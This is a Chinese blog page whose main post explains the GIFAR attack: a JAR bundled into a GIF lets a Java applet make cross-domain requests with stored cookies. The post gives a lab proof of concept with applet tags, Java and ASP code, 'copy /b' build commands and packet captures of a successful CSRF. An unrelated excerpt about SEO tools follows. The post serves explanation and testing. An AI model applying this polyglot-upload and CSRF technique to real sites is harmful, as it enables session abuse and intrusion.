GIFAR漏洞

漏洞描述：

这个漏洞的危害主要在于跨域的影响上。普通的XSS漏洞可能需要在target site上找一个XSS的漏洞，然后诱使受害者去访问存在XSS的页面或者是点击一个XSS的link。

但是这类跨域漏洞不同，他不需要在target site上做什么，而是只需要在任意一个第三方站点上构造一些恶意脚本就可以实施攻击了，攻击范围将扩大许多许多。

java只是这种利用方式的一种，这种捆绑文件的方式还有很多利用途径。其实这里主要说的就是如果在服务端没有做好过滤，这种捆绑文件能够被某些客户端程序强行解析的话，就会存在一个利用。

就这个漏洞来说，就是jvm会去强行解析jar，不管那个文件头是不是jar，也不管后缀，只要后面有jar文件头，就会去解析他。

这个漏洞之所以成为漏洞，其核心处就在于applet里发起的请求是用的stored cookie，而不是session cookie。

因为对于CSRF而言，使用的是session cookie，所以攻击者实施攻击的时候可能还需要诱骗用户打开个页面，以保证浏览器中存在target site的session cookie，才能CSRF成功。

而stored cookie是存在本地的，就算浏览器中没有session cookie，都能成功实施GIFAR攻击，而applet发起的socket，可以针对target site做更多事情，比如发起其他协议的请求。所以pdp才会说这个漏洞之所以危险，是在于它打破了浏览器的安全模型。

如果SUN要修补的话，肯定也是在这里进行修补，即把发起的http请求变成使用session cookie。

但是经过测试，发现这个漏洞还是有一定的局限性的。因为发现可以取到http response的头和cookie，但是取不到http request的头和cookie。就是说前面提到的这个applet发起的请求里，会自动使用的stored cookie从applet里是读不出来的。

以下一些操作系统版本，自带JAVA环境：

雨林木风 ------- 集成微软 JAVA 虚拟机。

番茄花园 GHOST XP SP2 v 3.1 ----- 集合 MS JAVA 虚拟机

深度GHOSTXP SP3快速装机专业版V9.0(NTFS) ---------- 集成MSJAVA虚拟机

GhostXP SP3电脑公司完美特别修正版 v9.1 ------- 修正JAVA虚拟机不能启动的BUG

999宝藏网 GhostXP SP3 活力版 V3.0 -------- 微软 JAVA 虚拟机

电脑市场 GhostXP SP2装机版 v3.0

小路工作室 GhostXP P2008贺岁版[装机版]

深度技术 GHOST XP SP3 快速装机专业版 V8.1

漏洞测试

Applet本身的安全机制是不允许跨站的，它只允许自己访问applet标签所在页面的域。但是当applet标签中的codebase属性给定了一个URL，让当前页面的applet到另一个域获取class或jar文件时，applet会自动为自己添加一个socket permission，也就是添加一个可以到class文件所在域的权限。使用copy /B命令可以把一个jar文件捆绑到一个gif上，捆绑后，同样可以让java虚拟机把这个GIF当成applet解释执行。这个技巧为漏洞的利用提供了便利，虽然我们不能给目标服务器上传jar文件，但是我们有可能会被允许上传gif。

以下是一个利用GIFAR所要用到的applet标签，该标签只要在html中就会执行applet：

<applet code="cn.isto.XSSJApplet" width="1000" height="200" codebase="http://www.***.com/images/cnitblog_com/axis/" archive="00.JPG" name="xss"> 
       <PARAM NAME="url" VALUE="http://www.***.com/axis/admin/"> 
</applet>

Code属性表示jar文件中的class名称，codebase表示jar文件所在的绝对路径（不包括文件名），archive表示jar文件的文件名，PARAM是为了灵活控制给jar代码中的一些变量传值，这里的传的名称是url，对应的值是一个网站地址。可以根据自己要跨的域来改变这个地址。

利用的环境按照上图所示，有两个域，A域和B域。我们在A域上发现了一个XSS漏洞，利用漏洞在A域的某个页面上放置一个applet标签，B域恰好有一个功能，可以上传GIF图片。要得效果是在访问A域的页面同时，访问一下B域的隐私页面，以达到辅助入侵B域的目的，但是有两个问题，一个是B域的cookie验证，另一个是浏览器不允许跨域访问。

利用GIFAR，就可以跨越这两个障碍。

下面我再详细的解释一下这个漏洞，在和刺的讨论过程中，问题集中在以下几点：

1， session cookie，和stored cookie。

2，跨域之后对所跨域的域名问题。

3，跨域之后如何取COOKIE。

先说第一点，这两种cookie有什么区别呢？其实session cookie指的就是我们常说的session，而stored cookie就是我们常说的cookie。

GIFAR这里，使用的就是cookie，不是session，所以更容易出现CSRF攻击。

无论是JS还是applet，都限制只能访问当前域下的内容。比如这个JS如果是aaa.sohu.com，就不能访问bbb.sohu.com的东西，如果你跨域跨到了aaa.sohu.com，就可以访问aaa.sohu.com。

而cookie对于域名的要求就有点暧昧了，这要看在写程序时，你的cookie制定的域名是什么。来看以下这段jsp程序。

Cookie ack = new Cookie(“kxlzx”,”password”);  
ack.setDomain(".sohu.com");

这段cookie制定了域名为“.sohu.com”这个一级域名。就表示这个域名下所有的二级域名、三级域名、四级。。。都可以访问这个 cookie。而默认的cookie域，如果不指定域，则会由程序自动制定到当前JSP文件所在的域下。例如www.sohu.com/a.jsp 这个jsp文件所在的域是二级域名www下，那么他的cookie就只有这个二级域名下的文件才可以访问，其他的域名例如img.sohu.com就不可以访问这个cookie。

这个漏洞利用成功之后能做什么。跨域取cookie只是一种利用，还有很多种利用方式，比如CSRF。前文提到，cookie是有域名限制的，如果要跨域取cookie，就必须保证这段取cookie的程序要在所跨域下的文件中执行。我一直推荐一种方式，就是当IE7以下浏览器去打开 JPG文件时，如果JPG文件其实是个HTML，就会执行HTML。那么取cookie得代码就可以写到这个文件上，之后上传到要跨的域，再利用 applet让受害者的浏览器访问这个JPG文件。这样，无论是挂马还是取cookie都可以在这里完成。

一个CSRF示例：

测试环境，有两台计算机，一台linux+apache下面简称APACHE域，一台windows+iis下面简称IIS域。APACHE域下的某个文件出现了XSS漏洞。利用该XSS漏洞可以在页面上插入applet标签。IIS域下有上传gif文件功能，于是上传了一个gif文件，还有一个需要cookie验证才能执行其他操作的隐私页面。最终要达到的效果是，IIS域的管理员（可以通过cookie验证的人）访问APACHE域下的XSS漏洞页面，同时悄悄的访问到IIS域下的隐私页面（CSRF）。

IIS域下的页面a.asp，目的用来建立一个cookie，这个cookie可以通过b.asp的验证。这里模拟了相当于管理员登陆成功的过程。

a.asp代码：

<%  
Response.Cookies("Cookie1")("kxlzx") = "testok" 
%>

作用是新建一个cookie。

IIS域下的b.asp代码:

 <%   
dim cookie,key   

for each cookie in Request.Cookies   
if Request.Cookies(cookie).haskeys then   
    for each key in Request.Cookies(cookie)   
        if key="kxlzx" then  
            Response.Write "key 名字："&key"<BR>"   
            Response.Write "value 名字："&Request.Cookies(cookie)(key)"<BR>"   
            kxlzxfile=Server.MapPath("kxlzx.txt")   
            set fs=server.CreateObject("scripting.filesystemobject")   
            set file=fs.OpenTextFile(kxlzxfile,8,True,0)   
            file.WriteLine("key 名字："&key"" )   
            file.WriteLine("value 名字："&Request.Cookies(cookie)(key)"" )   
            file.close   
            set fs = nothing   
        end if   
    next   
end if   
next   

%>

通过了cookie验证后，会在当前目录下新建一个kxlzx.txt，最后看到这个文档时，意味着CSRF成功。

IIS域下的2.gif文件，编译前Ghost.java代码：

  import java.applet.Applet;  
import java.io.InputStream;  
import java.net.URL;  
import java.net.URLConnection;  
public class Ghost extends Applet {  
    public void init() {  
        URLConnection uc;  
        try {  
            // 创建 HTTP连接   
            URL url = new URL(this.getParameter("url"));  
            uc = url.openConnection();  
            InputStream inputstream = null;  
            inputstream = uc.getInputStream();  
            System.out.println("test ok");  
        } catch (Exception ex) {  
            System.out.println("fu_ck");  
        }  
    }  
}

这个文件就是applet的代码，代码从applet标签的PARAM中取到url的值，之后访问这个URL。我们要把这个文件编译成jar，然后使用copy /B 附加到一个gif中。

APACHE域下的Test.php代码：

 <applet codebase="http://192.168.0.88/" code="Ghost.class" archive="2.gif" name="Ghost.jar" >  
<PARAM name="url" value="http://192.168.0.88/b.asp"></PARAM>  
</applet>

下面开始测试

1，首先使用jar cvf a.jar Ghost.class把class打到jar包里。

2，输入命令copy a.gif /b + a.jar 2.gif把jar文件追加到a.gif，生成一个新文件2.gif。

3，访问IIS域下的a.asp，保存cookie，并弹出保存的内容。

4，访问APACHE域下的test.php。

5，查看结果，看到kxlzx.txt中记录了cookie信息。

下面是在整个过程中抓到的几个包：

第一个包：
GET /a.asp HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1

第二个包
GET /wwwroot/test.php HTTP/1.1
Host: 192.168.0.222
Accept-Encoding: gzip,deflate

第三个包
GET /2.gif HTTP/1.1
content-type: application/x-java-archive
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第四个包
GET /Ghost.class HTTP/1.1
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第五个包
GET /b.asp HTTP/1.1
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第一个包是访问a.asp的，可以看到在这个向IIS域的请求中，没有cookie，但是访问过该文件之后就有了。

再看第二个包，访问了APACHE域的test.php，后面的包都是由applet自动发送的。

test.php里的applet又访问了gif文件，可以看到第三个包的Agent已经变成了“Java/1.6.0_03”，说明该包是java去访问的。

最后的包，就是CSRF的包，这个包成功的访问了b.asp，并且带有可以通过验证的cookie，成功的在根目录下生成了一个kxlzx.txt文件。CSRF的整个过程中，在用户访问APACHE域的同时，跨域访问了IIS域，并且带着IIS域的COOKIE。

参考文档：

http://knol.google.com/k/hi-clin003/-/jtjj0so2jjck/34#view http://wiki.clin003.com/wiki/GIFAR

http://www.inbreak.net/?action=show&id=124

http://hi.baidu.com/aullik5/blog/item/60d2b5fc1963ef1009244d71.html

20个免费的SEO网站分析工具

　　在开发和维护网站的过程中，网站分析将对网站的前途起到非常重大的作用。今天暴风彬彬为大家收集了20个用来对自己的网站进行分析的资源或工具，而且它们几乎不用注册甚至下载就可以使用哦。有些可以说是 SEO 必不可少的工具！还等什么，快往下看… 　　下面要介绍的这20个工具，有些能对你提交的网站进行详尽的分析并作出详细的分析报告，甚至提示如何解决网站存在的一些问题，以达到优化效果；有些工具只是提供一个大体的分析。我相信其中大部分都会对你的SEO工作有所帮助，而且会是你的网站维护起来更有意思 :-D 译者注:您还可以参考以下网站优化相关文章: 《浅谈网站用户体验UX与SEO的关系》《推荐两个SEO辅助搜索工具》《 Google 评价 blog 的指标》《 Google 网页排名背后的技术》 1. Website Grader 　　Website Grader是我平常比较喜欢使用 SEO分析工具，因为它分析得很全面，可用性也很高。通过Website Grader你将得到一个关于你提交的网站的非常详尽的分析报告，报告涉及到了网站的各个部分，比如页面结构、域名信息、标题摘要信息（h1,h2,h3 这些）、Google索引数量和bot最后爬行日期、RSS是否正确、Google/Yahoo/Alexa/MSN上的反向链接数、 Technorati排名、del.icio.us的收藏数、Alexa的排名情况和Google PageRank值。并且还会对提交的网站进行打分及网站出现的问题的修改建议。通常Website Grader所提出来的修改建议是很有价值的，而且能详细的致命问题出在哪，如何才能解决这样的问题。 2. Trifecta 　　Trifecta是这20个 SEO工具中比较独特的一个，它以不同的标准分析一个网页、一个博客甚至一个顶级域名下的整个网站，他最终会为你提交的网站总结大致的分数及报告。如果不是会员的话每天可以申请一份分析报告。 3. Spider Simulator 　　这个分析工具会对你提交的网站进行相对于搜索引擎友好度的分析，并对提交的网站进行评分。主要的评分标准是Meta标签的使用、网页的标题、图片和Alt属性...

阅读全文

一句话而已

搜索此博客